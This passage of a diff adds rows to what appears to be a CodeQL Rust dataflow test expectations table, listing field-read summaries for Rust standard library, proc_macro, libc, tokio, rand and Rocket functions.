file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::sync::once::queue::OnceState::poisoned] in lang:std::_::::is_poisoned | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::does_clear | CommandEnv.clear | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::process::CommandEnv::clear] in lang:std::_::::does_clear | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::to_u32 | CodePoint | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::CodePoint::value] in lang:std::_::::to_u32 | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::next | EncodeWide.extra | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::EncodeWide::extra] in lang:std::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Wtf8 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_bytes | Wtf8 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes] in lang:std::_::::as_bytes | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::ascii_byte_at | Wtf8 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes] in lang:std::_::::ascii_byte_at | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_bytes | Wtf8Buf.bytes | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys_common::wtf8::Wtf8Buf::bytes] in lang:std::_::::into_bytes | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | JoinHandle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | JoinHandle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::thread | JoinHandle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::thread | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_u64 | ThreadId | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::ThreadId(0)] in lang:std::_::::as_u64 | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_u64 | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_u64 | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::thread | ScopedJoinHandle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::scoped::ScopedJoinHandle(0)] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::thread | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_cstr | ThreadNameString | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::thread_name_string::ThreadNameString::inner] in lang:std::_::::as_cstr | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | SystemTime | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::time::SystemTime(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::duration | SystemTimeError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::time::SystemTimeError(0)] in lang:std::_::::duration | | file://:0:0:0:0 | [summary param] self in lang:std::_::::duration | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::duration | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_raw_fd | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::as_raw_fd | | file://:0:0:0:0 | [summary param] self in repo::serde_test_suite::_::::get | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo::serde_test_suite::_::::get | @@ -2210,11 +4343,18 @@ readStep | file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::si_addr | siginfo_t.si_addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_addr] in repo:https://github.com/rust-lang/libc:libc::_::::si_addr | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::si_pid | siginfo_t.si_pid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_pid] in repo:https://github.com/rust-lang/libc:libc::_::::si_pid | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::si_status | siginfo_t.si_status | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_status] in repo:https://github.com/rust-lang/libc:libc::_::::si_status | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::si_uid | siginfo_t.si_uid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_uid] in repo:https://github.com/rust-lang/libc:libc::_::::si_uid | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand::_::::next_u64 | StepRng.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::rngs::mock::StepRng::v] in repo:https://github.com/rust-random/rand:rand::_::::next_u64 | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_core::_::::index | BlockRng64.index | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::block::BlockRng64::index] in repo:https://github.com/rust-random/rand:rand_core::_::::index | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_core::_::::index | BlockRng.index | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::block::BlockRng::index] in repo:https://github.com/rust-random/rand:rand_core::_::::index | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::into_inner | @@ -2308,9 +4448,19 @@ readStep | file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | BarrierWaitResult | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | | file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::append | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail].Reference in lang:alloc::_::::append | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::base] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | element | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::base].Element in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::from | | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | element | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Element in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner] in lang:std::_::::from | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from_str | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner] in lang:std::_::::from_str | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::downgrade | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc].Reference in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::downgrade | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc].Reference in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_lock | Mutex.inner | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock].Field[crate::sync::poison::mutex::Mutex::inner] in lang:std::_::crate::sync::poison::mutex::guard_lock | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_poison | Mutex.poison | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock].Field[crate::sync::poison::mutex::Mutex::poison] in lang:std::_::crate::sync::poison::mutex::guard_poison | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock] in lang:std::_::::downgrade | RwLock.inner | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock].Field[crate::sync::poison::rwlock::RwLock::inner] in lang:std::_::::downgrade | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_mut_ptr | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_ptr | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::unwrap_or_clone | @@ -2320,19 +4470,197 @@ readStep | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:core::_::::index_mut | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:std::_::::advance_slices | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:std::_::::advance_slices | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:alloc::_::::index | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:alloc::_::::index_mut | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::try_capture | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Reference in lang:core::_::::try_capture | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::index | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::index_mut | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::next | Char | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::char::EscapeDebugInner::Char(0)] in lang:core::_::::next | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::into_inner | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::option::Option::Some(0)] in lang:core::_::::into_inner | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::remainder | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::remainder | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::delimiter | Group.delimiter | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::delimiter | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::stream | Group.stream | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::stream | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Ident.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Literal.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Literal::span] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Punct.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Punct::span] in lang:proc_macro::_::::span | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:proc_macro::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::native] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::native] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[1].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::delimiter | Group.delimiter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::delimiter | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::stream | Group.stream | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::stream | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Ident(0)] in lang:proc_macro::_::::span | Ident.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Literal(0)] in lang:proc_macro::_::::span | Literal.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Literal(0)].Field[crate::bridge::Literal::span] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Punct(0)] in lang:proc_macro::_::::span | Punct.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Punct(0)].Field[crate::bridge::Punct::span] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::asserting::Wrapper(0)] in lang:core::_::::try_capture | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::asserting::Wrapper(0)].Reference in lang:core::_::::try_capture | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::copy | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::handle::InternedStore::owned].Element in lang:proc_macro::_::::copy | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::Cell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::RefCell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::once::OnceCell::inner] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::once::OnceCell::inner].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::EscapeDebug(0)] in lang:core::_::::next | Char | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::EscapeDebug(0)].Field[crate::char::EscapeDebugInner::Char(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16::iter] in lang:core::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element in lang:core::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::kind | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind].Reference in lang:alloc::_::::kind | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Reference in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter] in lang:alloc::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter].Element in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::extract_if_inner | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::extract_if_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::split_off | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::peek_next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::peek_prev | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_prev | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::prev | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::prev | +| 